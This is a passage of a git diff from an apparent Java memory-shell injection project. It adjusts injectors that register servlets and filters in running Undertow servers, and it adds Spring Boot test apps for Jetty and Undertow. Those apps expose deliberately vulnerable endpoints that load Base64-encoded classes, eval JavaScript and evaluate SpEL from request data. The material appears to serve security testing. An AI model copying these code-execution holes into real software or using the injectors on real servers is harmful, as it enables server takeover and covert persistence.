"deploymentInfo"); Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index b7064de2..fd111b30 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -85,7 +85,7 @@ public void inject(Object context, Object servlet) throws Exception { return; } - Class servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo"); + Class servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader()); Object deploymentInfo = getFieldValue(context, "deploymentInfo"); Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass()); invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}); diff --git a/settings.gradle b/settings.gradle index 4aaf8b6b..9f0dab69 100644 --- a/settings.gradle +++ b/settings.gradle @@ -28,6 +28,8 @@ include 'vul:vul-webapp-expression' include 'vul:vul-webapp-deserialize' include 'vul:vul-springboot1' include 'vul:vul-springboot2' +include 'vul:vul-springboot2-jetty' +include 'vul:vul-springboot2-undertow' include 'vul:vul-springboot3' include 'vul:vul-springboot2-webflux' include 'vul:vul-springboot3-webflux' diff --git a/vul/vul-springboot2-jetty/Dockerfile b/vul/vul-springboot2-jetty/Dockerfile new file mode 100644 index 00000000..fcc1ed2f --- /dev/null +++ b/vul/vul-springboot2-jetty/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:8 +WORKDIR /app + +COPY build/libs/*.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot2-jetty/build.gradle b/vul/vul-springboot2-jetty/build.gradle new file mode 100644 index 00000000..9b167c2b --- /dev/null +++ b/vul/vul-springboot2-jetty/build.gradle @@ -0,0 +1,28 @@ +plugins { + id 'org.springframework.boot' version '2.7.6' + id 'io.spring.dependency-management' version '1.0.15.RELEASE' + id 'java' + id 'war' +} + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} + +repositories { + mavenCentral() +} + +dependencies { + implementation('org.springframework.boot:spring-boot-starter-web') { + exclude module: "spring-boot-starter-tomcat" + } + implementation 'commons-io:commons-io:2.+' + implementation 'net.bytebuddy:byte-buddy:1.10.10' + implementation 'org.springframework.boot:spring-boot-starter-jetty' + testImplementation 'org.springframework.boot:spring-boot-starter-test' +} + +test { + useJUnitPlatform() +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java new file mode 100644 index 00000000..40c11bc4 --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot2; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +public class ServletInitializer extends SpringBootServletInitializer { + + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { + return application.sources(VulSpringboot2Application.class); + } + +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java new file mode 100644 index 00000000..b7292fa7 --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vul.springboot2; + +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.PropertyAccessor; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; + +@SpringBootApplication +public class VulSpringboot2Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot2Application.class, args); + } +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..afc38d6a --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController extends ClassLoader { + @PostMapping + public String base64ClassLoader(String data) throws Exception { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = defineClass(null, bytes, 0, bytes.length).newInstance(); + return o.toString(); + } +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java new file mode 100644 index 00000000..71ecde4b --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() { + return ""; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java new file mode 100644 index 00000000..6756f750 --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/js") +public class ScriptEngineController { + + @PostMapping + public ResponseEntity js(String data) throws ScriptException { + return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data))); + } +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java new file mode 100644 index 00000000..b6364303 --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot2-jetty/src/main/resources/application.yaml b/vul/vul-springboot2-jetty/src/main/resources/application.yaml new file mode 100644 index 00000000..e69de29b diff --git a/vul/vul-springboot2-undertow/Dockerfile b/vul/vul-springboot2-undertow/Dockerfile new file mode 100644 index 00000000..fcc1ed2f --- /dev/null +++ b/vul/vul-springboot2-undertow/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:8 +WORKDIR /app + +COPY build/libs/*.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot2-undertow/build.gradle b/vul/vul-springboot2-undertow/build.gradle new file mode 100644 index 00000000..807692b6 --- /dev/null +++ b/vul/vul-springboot2-undertow/build.gradle @@ -0,0 +1,28 @@ +plugins { + id 'org.springframework.boot' version '2.7.6' + id 'io.spring.dependency-management' version '1.0.15.RELEASE' + id 'java' + id 'war' +} + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} + +repositories { + mavenCentral() +} + +dependencies { + implementation('org.springframework.boot:spring-boot-starter-web') { + exclude module: "spring-boot-starter-tomcat" + } + implementation 'commons-io:commons-io:2.+' + implementation 'net.bytebuddy:byte-buddy:1.10.10' + implementation 'org.springframework.boot:spring-boot-starter-undertow' + testImplementation 'org.springframework.boot:spring-boot-starter-test' +} + +test { + useJUnitPlatform() +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java new file mode 100644 index 00000000..40c11bc4 --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot2; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +public class ServletInitializer extends SpringBootServletInitializer { + + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { + return application.sources(VulSpringboot2Application.class); + } + +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java new file mode 100644 index 00000000..b7292fa7 --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vul.springboot2; + +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.PropertyAccessor; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; + +@SpringBootApplication +public class VulSpringboot2Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot2Application.class, args); + } +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..afc38d6a --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController extends ClassLoader { + @PostMapping + public String base64ClassLoader(String data) throws Exception { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = defineClass(null, bytes, 0, bytes.length).newInstance(); + return o.toString(); + } +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java new file mode 100644 index 00000000..71ecde4b --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() { + return ""; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java new file mode 100644 index 00000000..6756f750 --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/js") +public class ScriptEngineController { + + @PostMapping + public ResponseEntity js(String data) throws ScriptException { + return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data))); + } +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java new file mode 100644 index 00000000..b6364303 --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot2-undertow/src/main/resources/application.yaml b/vul/vul-springboot2-undertow/src/main/resources/application.yaml new file mode 100644 index 00000000..e69de29b diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle index 297381d1..d0852972 100644 --- a/vul/vul-springboot2/build.gradle +++ b/vul/vul-springboot2/build.gradle @@ -16,6 +16,7 @@ repositories { dependencies { implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'commons-io:commons-io:2.+' + implementation 'net.bytebuddy:byte-buddy:1.10.10' providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat' testImplementation 'org.springframework.boot:spring-boot-starter-test' } diff --git a/vul/vul-webapp/src/main/java/TestServlet.java b/vul/vul-webapp/src/main/java/TestServlet.java index fa6039d4..c1fc5020 100644 --- a/vul/vul-webapp/src/main/java/TestServlet.java +++ b/vul/vul-webapp/src/main/java/TestServlet.java @@ -1,9 +1,7 @@ -import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.BufferedReader; import java.io.IOException; /** @@ -14,9 +12,11 @@ public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + req.getMethod(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + req.getMethod(); } }